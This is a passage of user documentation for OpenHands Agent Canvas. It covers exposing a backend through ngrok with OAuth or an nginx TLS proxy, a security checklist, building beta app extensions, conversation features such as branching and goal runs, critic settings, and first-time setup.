-ngrok http 8000 --url https://your-canvas.ngrok.app -``` - -What you can use depends on your ngrok plan: - -- **Hobbyist plan:** an ngrok-branded domain such as `your-canvas.ngrok.app`. -- **Pay-as-you-go plan:** your own custom domain such as `canvas.acme.com`. - -### Option C: ngrok With Google OAuth - -Use ngrok OAuth with **full Canvas** deployments when the ngrok URL may be reachable by a team or a broader audience. OAuth is an additional gate in front of Agent Canvas; it does not replace `LOCAL_BACKEND_API_KEY`. - -For backend-only deployments, use ngrok without OAuth and keep `--public` enabled. OAuth is best suited to the full Canvas URL where the UI and backend share the same origin. - -Create `~/policy.yml`, replacing `openhands.dev` with your allowed Google Workspace domain: - -```yaml -on_http_request: - # Require Google OAuth login. - - actions: - - type: oauth - config: - provider: google - - # Deny anyone outside the allowed domain. - - expressions: - - "!actions.ngrok.oauth.identity.email.endsWith('@openhands.dev')" - actions: - - type: deny - config: - status_code: 403 -``` - -Start ngrok with the traffic policy: - -```bash -ngrok http 8000 --traffic-policy-file ~/policy.yml -``` - - - To run OAuth on a domain you choose, add `--url` as shown in [Use Your Own Domain](#use-your-own-domain). - - -To run full Canvas and ngrok side by side in tmux: - -```bash -tmux new-session -d -s canvas -tmux send-keys -t canvas 'source ~/.agent-canvas.env && agent-canvas --public' Enter -tmux split-window -h -t canvas -tmux send-keys -t canvas 'ngrok http 8000 --traffic-policy-file ~/policy.yml' Enter -tmux attach-session -t canvas -``` - -### Option D: Reverse Proxy With TLS - -Use a reverse proxy when you need a stable domain instead of an ngrok URL. Point a domain at the VM, proxy it to `127.0.0.1:8000`, and terminate TLS at the proxy. - -On Ubuntu, install nginx and Certbot: - -```bash -sudo apt-get install -y nginx certbot python3-certbot-nginx -``` - -Create `/etc/nginx/sites-available/canvas.example.com`, replacing `canvas.example.com` with your domain: - -```nginx -server { - listen 80; - listen [::]:80; - server_name canvas.example.com; - - location /.well-known/acme-challenge/ { - root /var/www/html; - } - - location / { - proxy_pass http://127.0.0.1:8000; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - - # WebSocket / SSE support for live agent events. - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - proxy_read_timeout 3600s; - proxy_send_timeout 3600s; - } -} -``` - -Enable the site and issue a certificate: - -```bash -sudo ln -sf /etc/nginx/sites-available/canvas.example.com \ - /etc/nginx/sites-enabled/canvas.example.com -sudo nginx -t -sudo systemctl reload nginx - -sudo certbot --nginx -d canvas.example.com \ - --non-interactive --agree-tos \ - --email you@example.com \ - --redirect -``` - -Use `https://canvas.example.com` as the URL for either the remote backend entry or the full Canvas UI. - -## Security Checklist - -Before exposing Agent Canvas beyond an SSH tunnel: - -1. **Run with `--public`** and set a strong `LOCAL_BACKEND_API_KEY`. -2. **Restrict network access** with a firewall, VPN, ngrok OAuth, or an identity-aware proxy. -3. **Use HTTPS** for any internet-reachable URL. -4. **Limit who can SSH to the VM** and keep the OS patched. -5. **Protect the VM filesystem** because it stores settings, secrets, conversations, and working copies. -6. **Rotate keys** if an ngrok URL, API key, or VM login is shared too broadly. - -## Related Guides - -- [Install](/openhands/usage/agent-canvas/setup) -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [Local Backend](/openhands/usage/agent-canvas/backend-setup/local) -- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) -- [Kubernetes (Helm)](/openhands/usage/agent-canvas/backend-setup/kubernetes) -- [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud) - -### Backends -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backends.md - -A **backend** provides [Agent Server](/sdk/guides/agent-server/overview#what-is-a-remote-agent-server) and, when automations are enabled, Automation Server. Agent Server runs conversations and tools in a workspace: the folder, mounted project directory, container, or cloud sandbox where the agent reads and writes files. Automation Server manages schedules, events, and run lifecycle. Agent Canvas connects to these services and displays the state of whichever backend is selected. - -## Connecting to a Backend - -Any Agent Canvas frontend can connect to any Agent Canvas backend. Use the backend switcher in the UI to open **Manage Backends**, where you can add, edit, or remove entries. Each entry stores a display name, host URL, and an API key for authentication. - -![Agent Canvas Add Backend dialog on the Agent Server tab with synthetic display name, host URL, and masked API key fields.](/openhands/static/img/agent-canvas-add-backend-agent-server.png) - -Settings, LLM configuration, MCP servers, and automations are all scoped to the active backend — switching backends switches all of these. - -"Remote" describes how Canvas connects to a backend, not where that backend runs. A remote backend can be a separate process on the same machine, a self-hosted deployment on a VM or container platform, or a managed Cloud or Enterprise service. - -## Recommended Setups - -| Setup | When to use | How | -|-------|-------------|-----| -| **Default local** | Quick local work on your machine | Run `agent-canvas`—a local backend is created automatically. | -| **Self-hosted backend** | A separate local process or container, an always-on VM, more powerful hardware, or team-shared access | Deploy the backend services, then add their host URL and API key in `Manage Backends`. See [Remote Backend](/openhands/usage/agent-canvas/backend-setup/remote) and [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). | -| **Cloud or Enterprise** | Managed backend and sandbox infrastructure | Connect from `Manage Backends`. See [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud). | - -### Apps (Beta) -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/canvas-extensions.md - -Apps let you add custom pages to Agent Canvas without changing the Agent Canvas source code. An app can provide an integrated dashboard, project tool, or other browser interface that connects to the active Agent Server. - - - Apps are a beta feature. The name and app API may change as the feature develops. - - -## What Apps Add - -The initial beta supports **custom pages**. When you enable an app, its pages appear in the Agent Canvas sidebar and open inside the application. - -An app page can: - -- Render a browser-based interface inside Agent Canvas -- Add nested routes below its declared page path -- Navigate to other Agent Canvas pages -- Make authenticated HTTP requests to the active Agent Server -- Read metadata about the app and active backend - -The current beta does not support conversation tabs, arbitrary interface slots, themes, visualizer replacement, or direct Agent Server WebSocket connections. - -Apps change the Agent Canvas interface. They are different from [skills](/overview/skills), which give agents instructions and knowledge, and [plugins](/openhands/usage/agent-canvas/plugins), which package agent capabilities and configuration. - -## Availability - -Apps are managed by the active Agent Server and are currently available with supported local backends. They are not available when an OpenHands Cloud backend is active. - -Each backend has its own installed apps, files, versions, and enabled states. Switching backends replaces the apps shown in Agent Canvas. - -If `Customize > Apps` reports that the feature is unavailable, update the Agent Server connected to Agent Canvas. A backend without the Canvas Extensions API cannot install or run apps. - -## Install an App - -Open `Customize > Apps`, then select `Add app`. - - - - 1. Enter the Git source, such as `github:owner/repository`, or paste the app folder's browser URL from GitHub, GitLab, Bitbucket, Gitea, or Forgejo. - 2. Optionally enter a branch, tag, or commit in `Ref`. - 3. If the app is not at the repository root, enter its directory in `Repo path`. - 4. Select `Add app`. - - When you paste a browser folder URL, Agent Canvas reads the source, `Ref`, and `Repo path` from the URL. A value you enter in `Ref` or `Repo path` overrides the corresponding part of the URL. - - - 1. Enter the absolute path to the app directory. - 2. Select `Add app`. - - The path is resolved on the Agent Server machine. A path on the computer running your browser will not work unless that computer also runs the Agent Server and exposes the same path. - - - -One Add app operation installs one app package. If a repository contains several apps, add each manifest directory separately with its own `Repo path`. - -New apps are installed **disabled**. Review the source, resolved revision, manifest details, and contributed pages before enabling one. - -## Enable and Manage Apps - -To run an installed app: - -1. Open `Customize > Apps`. -2. Find the installed app and enable it. -3. Review and accept the trusted-code notice. -4. Open its new item in the Agent Canvas sidebar. - -You can disable an app without restarting Agent Canvas. Its navigation items and mounted pages are removed immediately. Re-enable it to load the app again, or uninstall it to remove the installation from the active backend. - -### Trust Model - -Enabling an app runs its JavaScript in the same browser context as Agent Canvas. The beta does not isolate apps in an iframe or worker and does not enforce fine-grained permissions. - -Only enable apps whose code and resolved revision you trust. An enabled app has the browser authority available to Agent Canvas and can use an authenticated helper to call the active Agent Server. - -## Build an App - -An app is a directory containing: - -- `canvas-extension.json` at the app root -- One self-contained browser ESM entrypoint inside that root -- Any source files or build configuration needed to produce the entrypoint - -The current package format uses manifest schema `1` and host API `1`. - -### Create the Manifest - -```json canvas-extension.json -{ - "schema_version": 1, - "name": "example-dashboard", - "display_name": "Example dashboard", - "version": "0.1.0", - "description": "A project dashboard for Agent Canvas.", - "entrypoint": "extension.js", - "contributes": { - "pages": [ - { - "id": "dashboard", - "title": "Dashboard", - "path": "/dashboard", - "nav_label": "Dashboard" - } - ] - } -} -``` - -Use lowercase letters, numbers, and hyphens for app names and page IDs. Page paths must start with `/`, and every page ID and path must be unique within the app. - -The `entrypoint` must stay inside the app root. Bundle dependencies, CSS, and required assets into one browser ESM file; unresolved package imports and external runtime chunks cannot be loaded. - -### Register the Page - -Export an `activate` function from the entrypoint and register each page declared in the manifest: - -```js extension.js -export function activate(host) { - if (host.apiVersion !== "1") { - throw new Error("This extension requires host API 1."); - } - - return host.registerPage("dashboard", ({ container, path }) => { - const page = document.createElement("section"); - page.setAttribute("aria-label", "Example dashboard"); - page.textContent = path ? `Dashboard route: ${path}` : "Dashboard"; - container.append(page); - - return () => page.remove(); - }); -} -``` - -The page ID passed to `registerPage` must match a page declared in `canvas-extension.json`. Return cleanup functions for registered pages, DOM nodes, timers, listeners, and other effects so the app can be disabled or reloaded safely. - -Agent Canvas mounts this example at: - -```text -/extensions/example-dashboard/dashboard -``` - -For a nested URL such as `/extensions/example-dashboard/dashboard/services`, the page receives `services` as its relative `path`. - -### Connect to the Agent Server - -Use `host.agentServer.request` for authenticated requests to the backend that owns the app: - -```js -const serverInfo = await host.agentServer.request({ - method: "GET", - path: "/server_info", -}); -``` - -Request paths must be root-relative, begin with exactly one `/`, and must not be full URLs. Do not derive backend URLs or authentication credentials from Agent Canvas internals. - -The beta host API does not expose the backend origin or a WebSocket authentication capability. Use the authenticated HTTP helper, polling where appropriate, or a backend-owned bridge instead of opening a direct Agent Server WebSocket. - -## Design for the Beta Lifecycle - -Agent Canvas may activate, mount, and dispose an app repeatedly when you enable or disable it, update it, reconnect, or switch backends. App pages should: - -- Render only inside the supplied page container -- Scope styles to an app-specific root element -- Clean up all DOM nodes, styles, timers, listeners, observers, and subscriptions -- Prevent late asynchronous responses from updating an unmounted page -- Handle loading, empty, malformed-response, and error states -- Remain keyboard accessible and usable on narrow screens - -## Learn More - -- [Canvas Extensions API specification](https://github.com/OpenHands/OpenHands/blob/main/specs/canvas-extensions.md) -- [Minimal app fixture](https://github.com/OpenHands/OpenHands/tree/main/src/fixtures/canvas-extensions/demo-page) -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) - -### Conversations -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/conversations.md - -A conversation is a single agent session on the active backend. It has its own message history, tool calls, file changes, selected agent profile, and conversation-specific plugins. - -## Child Conversations - -When an agent uses `launch_child_conversation`, Agent Canvas can launch a child conversation on a local or Cloud target. Local children can use either an isolated worktree or the parent's shared workspace. Cloud children use the repository and branch selected for the launch. - -The child remains linked to its parent, and its result is returned to the parent conversation. Agent Canvas validates the launch inputs before creating the child conversation. - -## Conversation List Controls - -Use the conversation list controls to manage automation runs and visible tags: - -- Choose `All`, `Hide`, or `Only` to include, exclude, or show only automation-run conversations. You can further select individual automation names, including unnamed automations. -- Pinned conversations remain visible when automation-run filtering would otherwise hide them. -- Enable the `Tags` preference to show conversation tag chips. Tags are off by default; when there are more tags than fit, Agent Canvas shows a `+N` chip with the remaining count. - -Agent Canvas omits reserved tags and raw automation IDs from the chips. LLM metadata is also hidden by default. - -## Follow Agent Activity - -While an agent is running, the composer shows a live activity chip for its current unresolved action, such as reading a file or running a command. If no action-specific label is available, it shows `Thinking`. The chip disappears when the agent pauses or completes its work. - -## Handle a Failed Message - -If a message fails to send, select `Retry` to send it again or `Dismiss` to remove the failed message bubble. Dismissing a message does not restore its text to the composer. - -## Inline Markdown Artifact Previews - -When an agent creates a Markdown file, Agent Canvas renders it inline as a height-limited rich preview with an internal scrollbar instead of showing only the raw file content. Select `View` to open the full file in the Files drawer. - -## Image Attachments - -When you upload an image as part of a message or an image is produced in a conversation, Agent Canvas displays it as a thumbnail. Click the thumbnail to open the image full size in a lightbox overlay. Dismiss the lightbox by pressing Escape, clicking the close button, or clicking the backdrop. - -## Conversation Overview Panel - -The conversation overview panel displays project context for the active conversation, including workspace information, git state, and loaded resources such as skills, MCP servers, and automations. - -Toggle the overview using the info control in the conversation header. The panel peeks beside the chat area and closes when you open the Files drawer. - -### Unified Commits Drawer - -From the overview panel, open the **Commits** drawer to see a unified view of git activity: - -- The commit list shows recent commits alongside any uncommitted changes -- A header git-actions control lets you send commit, pull, push, and pull-request prompts to the agent - -The Commits tab combines the commit history with uncommitted changes in a single view, so you no longer need to switch between separate Diff and Commits surfaces. - -### Files View - -The **Files** tab is a focused file browser with open-file tabs and close controls. The file tree is resizable and persists its state across refreshes. - -Above the file tree, the active workspace path is displayed with a copy button. Hover the truncated path to see the full value in a tooltip, then click to copy it. - - - The workspace path row is hidden when the conversation has no working directory. - - -## Context Window Usage and Manual Compaction - -Agent Canvas shows a context-window meter in the composer that visualizes how much of the model's available context is in use. The meter fills as the conversation grows. - -Click the meter to open the usage preview, then click "Usage" to see the full usage panel which shows token usage and provider balance details. You can manually compact the conversation to reduce context by selecting "Compact context" in the usage preview or usage panel. - - - The meter only appears for models that report a context window size. Models that do not report one will not show a meter. - - -## Branch From a Message - -Use `Branch from here` on a message when you want to explore a different path without changing the original conversation. - -Branching creates a new conversation from the selected point in the current conversation. The original conversation remains available in the sidebar. - - - Conversation branching is available on local agent-server backends that support conversation forks. - - -## Branching User Messages - -Branching from one of your own messages works like edit-and-resend: - -1. Hover over the message. -2. Select `Branch from here`. -3. Agent Canvas opens a new branched conversation. -4. The selected message appears in the composer so you can edit it before sending. - -The new branch starts from the parent of that message. This lets you rewrite the prompt and continue from the earlier state. - -## Branching Assistant Messages - -Branching from an assistant message creates a new conversation that includes history through that assistant response. - -Use this when the agent reached a useful point and you want to try a different next step without changing the original thread. - -## What Branching Preserves - -The branch keeps the relevant conversation history, agent configuration, workspace context, and backend-managed state needed to continue from the branch point. - -The branch is independent after creation: - -- messages you send in the branch do not modify the original conversation -- the original conversation stays in the sidebar -- branches can be branched again -- the branch gets its own conversation title - -## Branching vs Starting Fresh - -Start a fresh conversation when you want no prior context. - -Branch a conversation when you want the agent to remember what happened up to a specific message, but you want to test a different instruction, correction, or follow-up. - -## Run a Goal - -Use the `/goal` command when you want the agent to keep working until a specific objective is complete or the goal reaches its iteration limit. - -```text -/goal [--max N] -``` - -For example: - -```text -/goal --max 3 add unit tests for the parser and verify they pass -``` - -When you start a goal, Agent Canvas requests a goal run from Agent Server. Agent Server runs the agent and uses a judge LLM to check whether the objective is complete after each round. If the judge finds missing work, Agent Server sends that feedback to the agent and continues until the goal is complete or the maximum number of rounds is reached. - -While a goal is running, Agent Canvas shows a status banner with the objective, current round, status, judge score, and any missing work. When the goal finishes, the final status appears inline in the conversation history. - -Goal statuses include: - -| Status | Meaning | -|--------|---------| -| `running` | The goal loop is active | -| `complete` | The judge confirmed the objective is done | -| `capped` | The goal reached its maximum number of rounds | -| `interrupted` | A normal user message interrupted the active goal | - -Sending a normal message while a goal is running interrupts the goal and gives control back to you. - - - The `/goal` command requires a backend that supports conversation goal routes. It uses both the agent LLM and a judge LLM, so goal runs may make additional model calls beyond the agent's normal work. - - -## Export a transcript as Markdown or HTML - -You can download any conversation as a self-contained file to share, archive, or review outside Agent Canvas. - -**To export a transcript:** - -1. Open the conversation you want to export. -2. Click the kebab menu (⋮) next to the conversation title. -3. Select **Export transcript**. -4. Choose a format and adjust the options, then click **Download**. - -### Format options - -| Format | File extension | Use it when | -|--------|---------------|-------------| -| Markdown document | `.md` | You want a plain-text file that renders in any Markdown viewer or editor | -| Self-contained HTML | `.html` | You want a single file that opens formatted in any browser | - -The downloaded file is named `conversation-.md` or `conversation-.html`. - -### Export options - -| Option | Default | What it includes | -|--------|---------|-----------------| -| Include tool details | On | The full inputs and outputs of every tool call the agent made | -| Include timestamps | On | The time of each event, inline | - -Turn off either option before downloading if you want a shorter or cleaner transcript. - -### Privacy - -The export is generated locally in your browser from the events Agent Canvas already has for that conversation. No conversation data is sent to a third party to produce the file. - - - For very large conversations, Agent Canvas loads the full event history before generating the file. This may take a moment. On cloud backends, the export uses the events the app currently has loaded. - - -## Archive a Conversation - -Archiving a conversation hides it from the sidebar list without deleting it. The conversation's full history stays on the backend, and you can unarchive it at any time. - -**To archive a conversation:** - -1. Open the conversation card menu in the sidebar. -2. Select `Archive`. -3. Confirm in the dialog that appears. - -The conversation disappears from the default sidebar list. An archived conversation shows an `Archived` chip when revealed. - -**To view or restore archived conversations:** - -1. Open the panel filter menu in the sidebar. -2. Enable `Show archived`. -3. Archived conversations reappear with an `Archived` chip. -4. Open an archived conversation's menu and select `Unarchive` to restore it to the default list. - - - Archive state is stored per backend in your browser's local storage. It does not sync across browsers or machines. The `Delete all` action still deletes archived conversations, including hidden ones. Archiving is non-destructive, but deleting is permanent. - - - - After an installation switches from host-local conversation runtimes to Docker runtimes, conversations created under the previous local runtime have no Docker provisioning identity. Agent Canvas presents these conversations as archived. Their persisted event history remains readable, and Agent Canvas does not open a WebSocket connection for them. - - -## Related Guides - -- [Fork a Conversation](/sdk/guides/convo-fork) -- [Goal Completion Loop](/sdk/guides/convo-goal) -- [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles) -- [Plugins in Agent Canvas](/openhands/usage/agent-canvas/plugins) - -### Critic -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/critic.md - - - The critic feature is experimental. Configuration options, scoring behavior, - and default models may change as the feature evolves. - - -The critic is an additional evaluation pass that reviews the agent's work and -predicts how likely the task is to succeed. In Agent Canvas, critic results can -appear in the conversation timeline as a success-likelihood score with detected -issue labels. - -Use the critic when you want extra feedback for an OpenHands agent -conversation, or when you want the agent to automatically refine its work after -a low critic score. - - - The default OpenHands-hosted critic is currently free to use. For background - on the critic model and evaluation methodology, read - [SOTA on SWE-Bench Verified with Inference-Time Scaling and Critic Model](https://openhands.dev/blog/sota-on-swe-bench-verified-with-inference-time-scaling-and-critic-model) - and - [A Rubric-Supervised Critic from Sparse Real-World Outcomes](https://arxiv.org/abs/2603.03800). - The critic applies to OpenHands agent conversations. Agent Canvas can also - run third-party ACP agents, but those agents manage their own execution loop - and may not expose the same critic evaluation path. - - -## Prerequisites - -Before enabling the critic: - -1. Configure your active LLM in `Settings > LLM`. -2. Prefer the `OpenHands` LLM provider when you want the default hosted critic - path. -3. Start a new conversation after saving critic settings. Existing - conversations keep the settings they were created with. - -## Enable the Critic - -1. Open `Settings > Verification`. -2. Toggle on `Enable Critic`. -3. Configure the `Critic API Key` field: - - If `OpenHands` is selected as your active LLM provider, leave this field - empty. The critic reuses the active provider's OpenHands Provider LLM Key. - - If you are not using the `OpenHands` LLM provider, paste an OpenHands - Provider LLM Key into `Critic API Key`, or provide the API key required by - your custom critic service. -4. Save the settings. -5. Start a new conversation. - -![Agent Canvas Verification settings with Enable Critic, iterative refinement, critic threshold, and Critic API Key guidance](/openhands/static/img/agent-canvas-critic-settings.png) - -The Critic API Key and the OpenHands Provider LLM Key are the same credential -when you use the default OpenHands-hosted critic service. You can find that key -in the `API Keys` tab of [OpenHands Cloud](https://app.all-hands.dev/settings/api-keys). - -The default hosted critic is free today; the key authenticates access to the -service. - - - A dedicated `Critic API Key` overrides the active LLM key for critic calls - only. Your main LLM configuration continues to use the key from - `Settings > LLM`. - - -## Enable Iterative Refinement - -Iterative refinement lets the critic send the agent back to improve its work -when the predicted success score is too low. - -1. Open `Settings > Verification`. -2. Toggle on `Enable Critic`. -3. Toggle on `Enable Iterative Refinement`. -4. Optionally switch the settings detail view to `Advanced` or `All`. -5. Adjust: - - `Critic Threshold` - the success score required to stop refining. The - default is `0.6`. - - `Max Refinement Iterations` - the maximum number of retry attempts. The - default is `3`. -6. Save the settings and start a new conversation. - -When refinement is enabled, Agent Canvas will let the conversation continue -after a low critic score until the score passes the threshold or the maximum -iteration count is reached. - -## View Critic Results - -When the critic runs, Agent Canvas shows the result below the agent message or -finish action that was evaluated. The compact view shows the predicted success -likelihood score. You can expand the result to inspect detected issue -categories and probabilities, such as incomplete changes, missing validation, -infrastructure issues, or likely user follow-up patterns. - -![Agent Canvas conversation showing a critic success likelihood score below an agent message](/openhands/static/img/agent-canvas-critic-result.png) - -## Troubleshooting - -### Critic Results Do Not Appear - -- Confirm `Enable Critic` is on in `Settings > Verification`. -- Start a new conversation after saving the setting. -- Use the OpenHands agent path. Third-party ACP agents may not expose critic - results. -- Wait until the agent sends a message or finishes a task. With the default - `finish_and_message` mode, the critic does not run after every tool call. - -### Authentication Errors - -If the critic request fails with an API key or authentication error: - -- If `OpenHands` is the active LLM provider, leave `Critic API Key` empty and - confirm the active LLM profile has a saved OpenHands Provider LLM Key. -- If another LLM provider is active, enter an OpenHands Provider LLM Key in - `Critic API Key`. - -### Conversations Become Slow - -- Keep `Critic Mode` set to `finish_and_message` unless you need per-action - feedback. -- Disable `Enable Iterative Refinement` if you only want passive critic scores. -- Lower `Max Refinement Iterations` if repeated refinement loops are too costly. - -## Related Guides - -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) -- [OpenHands LLMs](/openhands/usage/llms/openhands-llms) -- [SDK Critic Guide](/sdk/guides/critic) -- [Critic Model Blog Post](https://openhands.dev/blog/sota-on-swe-bench-verified-with-inference-time-scaling-and-critic-model) -- [Critic Research Paper](https://arxiv.org/abs/2603.03800) - -### Customize and Settings -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/customize-and-settings.md - -Agent Canvas separates **Customize** from **Settings**. - -- **Customize** — teach the agent new things. **Skills** give it domain knowledge and specific instructions. **MCP Servers** connect it to external tools and data sources. -- **Settings** — configure how the agent runs. Choose your LLM, store secrets, tune context handling, and set agent behavior. Settings are saved per backend. - -## Customize - -Open the top-level `Customize` area to manage: - -- [MCP Servers](/openhands/usage/settings/mcp-settings) -- [Skills](/overview/skills) -- [Plugins](/openhands/usage/agent-canvas/plugins) -- [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions) - -Use the section navigation inside `Customize` to switch between these pages. Apps add trusted custom pages to Agent Canvas, while skills and plugins change agent behavior. - - - MCP Server configuration lives under `Customize > MCP Servers`, not under `Settings`. - - -When using an OpenHands Cloud backend, **Skills** becomes **Skills and Plugins** and opens the Cloud settings in a new tab. The local `Plugins` page is hidden, while `MCP Servers` remains in Agent Canvas. In Settings, **Cloud** becomes **All Cloud Settings** and an **Integrations** link opens the Cloud integrations page. Switching back to a local backend restores the local navigation. - -### Install Skills From Chat - -You can install a skill from a conversation with `/add-skill `. Because skills load when a conversation starts, Agent Canvas shows a banner after installation with **Start new conversation with this skill**. You will need to select it to start a conversation that includes the new skill. - -You can dismiss the banner. It appears again when you install another skill in the same session. - -### Check MCP Server Health - -Installed MCP server cards check their connection and retain the resulting status: - -| Status | Meaning | Available action | -|--------|---------|------------------| -| `Checking` | Agent Canvas is testing the server connection. | Wait for the check to finish. | -| `Reachable` | The server responded. For a public or no-auth server, this means credentials were not verified. | Retry the check or view the server documentation. | -| `Credential check failed` | The server responded but rejected its credentials. | Update credentials, then retry. | -| `Connection failure` | Agent Canvas could not connect to the server. | Retry, check the configuration, or view its documentation. | - -Server URLs and errors redact embedded secrets. Select **Update credentials** to edit a server; saving a corrected configuration refreshes its health status without reloading the page. - -## Settings - -The `Settings` area currently includes the following sections: - -| Section | Purpose | -|---------|---------| -| `Agent` | Agent Profile library and agent-specific capabilities | -| `LLM` | Provider, model, API key, profile configuration, and provider connections | -| `Condenser` | Context compression and summarization behavior | -| `Verification` | Approval, critic evaluation, and verification-related behavior | -| `Application` | UI-level preferences and app behavior | -| `Secrets` | Stored secrets used by the active backend | - - -In `Settings > Application`, the **Conversation titles** setting selects the LLM profile used to generate conversation titles. **Automatic** uses the active local LLM profile; you can choose another saved profile, like a small, cheap LLM, when you want titles generated independently from the model selected for agent work. - -The main settings nav also shows the installed version of Agent Canvas with a manual **Check for updates** button. When an update is available click on the tile to view details and update information. - -Use `Settings > Agent` to choose the active Agent Profile for new conversations. OpenHands profiles reference LLM profiles from `Settings > LLM`; ACP profiles use the external agent's own model configuration. - -### Persistent Agent Memory - -Open `Settings > Agent Context` to control persistent agent memory. When enabled, new OpenHands and ACP conversations can load saved memory from the workspace and user memory locations into their agent context. - -Disable it when you do not want new conversations to load that persistent memory. - - - Learn more about the Persistent Memory implementation from the SDK Guide: [Persistent Memory](/sdk/guides/persistent-memory) - - -## Configuration Is Per Backend - -Both Customize and Settings are tied to the **active backend**. That means: - -- Changing backends changes which configuration you are editing -- Skills, MCP servers, secrets, and other settings saved for one backend do not automatically apply to every other backend -- The available options can differ depending on backend capabilities - -## Practical Example - -You might use this split like this: - -- Add a GitHub review skill in `Customize > Skills` -- Add a Slack or fetch MCP server in `Customize > MCP Servers` -- Save your preferred model in `Settings > LLM` -- Store tokens in `Settings > Secrets` - -## Related Guides - -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles) -- [Plugins in Agent Canvas](/openhands/usage/agent-canvas/plugins) -- [Configure the Critic](/openhands/usage/agent-canvas/critic) -- [Setup a Pre-built Automation](/openhands/usage/agent-canvas/prebuilt-automations) - -### Contributing -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/development.md - -Agent Canvas is open source. To work on it from source: - -1. Clone the repo and install dependencies: - ```bash - git clone https://github.com/OpenHands/OpenHands.git - cd OpenHands - npm install - ``` - -2. Start the full development stack: - ```bash - npm run dev - ``` - -For development workflows, environment variables, testing, and advanced configuration, see the [Development Guide](https://github.com/OpenHands/OpenHands/blob/main/docs/DEVELOPMENT.md) in the repository. - -### First Time Setup -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/first-time-setup.md - -When you open Agent Canvas for the first time, a four-step setup wizard walks you through the core configuration. Each step can be skipped and revisited later from `Settings`. - -## Step 1: Choose Your Agent - -![Agent Canvas first-time setup — Choose your agent screen showing OpenHands, Claude Code, Codex, and Gemini CLI options](/openhands/static/img/agent-canvas-setup-step-1.png) - -Agent Canvas uses the **Agent-Client Protocol (ACP)** to communicate with agents, which means you're not locked into a single provider. - -- **OpenHands** (selected by default) — the general-purpose OpenHands agent, best for coding and exploration. -- **Claude Code** — Anthropic's Claude Code agent. -- **Codex** — OpenAI's Codex agent. -- **Gemini CLI** — Google's Gemini CLI agent. - -Choosing a third-party agent lets you interact with it through the Agent Canvas interface and bring your existing subscriptions from those providers. - -Your choice creates the initial active [Agent Profile](/openhands/usage/agent-canvas/agent-profiles). You can change your active profile or create additional profiles later from `Settings > Agent`. - -## Step 2: Check Your Backend - -![Agent Canvas first-time setup — Check your backend screen showing a connected local backend at 127.0.0.1:8000](/openhands/static/img/agent-canvas-setup-step-2.png) - -Agent Canvas routes all conversations through an **agent server backend**. By default, it connects to your local machine (`http://127.0.0.1:8000`), which is ideal for working on local projects. - -The setup screen shows your current backend connection status. If the server is running, you'll see a **"You're connected!"** confirmation. - -Each backend entry stores: - -- A display name (e.g. `Local`) -- A host URL -- An optional API key - - - To add remote or cloud backends, or to manage multiple backend connections, see [Connect and Manage Backends](/openhands/usage/agent-canvas/backends). - - -## Step 3: Set Up Your LLM - -![Agent Canvas first-time setup — Set up your LLM screen showing provider and model selection with an API key field](/openhands/static/img/agent-canvas-setup-step-3.png) - -Agent Canvas supports **bring-your-own LLM key**. Select your LLM provider and model, then paste in your API key. - -Available options: - -- **Direct provider keys** — use your own API key from Anthropic, OpenAI, Google, or any other supported provider. -- **OpenHands Cloud** — use an [OpenHands Cloud](https://app.all-hands.dev) API key to access verified models without managing provider accounts directly. Find your API key in the `API Keys` tab of OpenHands Cloud. - -The setup screen defaults to `OpenHands` as the provider and pre-selects a recommended model. Switch the `LLM Provider` dropdown to choose a different provider. - -The default model is **OpenAI GPT-5.6 Sol**, and **DeepSeek V4 Flash** is the free OpenHands-routed model. When adding an OpenHands provider connection, the provider field is a searchable supported-provider selector rather than free text. - -For OpenHands Agent Profiles, this LLM setup becomes the model profile the agent uses. ACP agents such as Claude Code, Codex, and Gemini CLI use their own authentication and model configuration. - -## Step 4: Start From a Proven Workflow - -![Agent Canvas first-time setup — Say hello screen showing pre-built workflow templates including GitHub PR review copilot, GitHub repository monitor, and Slack standup digest](/openhands/static/img/agent-canvas-setup-step-4.png) - -Agent Canvas is designed as an **automation-centric developer control center**. The final setup step invites you to kick things off with a pre-built workflow template rather than starting from a blank conversation. - -Each template bundles an agent prompt, an implementation sketch, and the MCP connections needed to run it. Pick one to open a pre-filled conversation and finish the details with the agent. - -A recommended starting point is the **[GitHub PR Review Copilot](/openhands/usage/agent-canvas/prebuilt/github-pr-review)**. This automation uses your GitHub MCP connection to poll for new pull requests and run agent review conversations locally — no cloud infrastructure required. - -Other available templates include: - -- **GitHub Repository Monitor** — watch a repository for `@OpenHands` mentions and respond automatically. -- **Slack Standup Digest** — summarize yesterday's Slack activity into an async standup note. - -You can browse all pre-built automations from the `Automate` view at any time. See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations) for the full list. - -## Getting Started Checklist - -After completing the setup wizard, a **Getting Started** checklist appears in the sidebar. It guides you through the core first actions: - -1. **Set up your LLM** — links to `Settings > LLM` -2. **Connect MCP servers** — links to `Customize > MCP` -3. **Start a conversation** — links to `Conversations` -4. **Explore automations** — links to `Automate` -5. **Customize your agent** — links to `Customize` -6. **Review settings** — links to `Settings` - -Each item links directly to the relevant page. The checklist tracks your progress and minimizes to stay out of the way. When all items are complete, the checklist auto-hides. - - - Toggle the checklist from `Settings > Application` using the **Show getting started 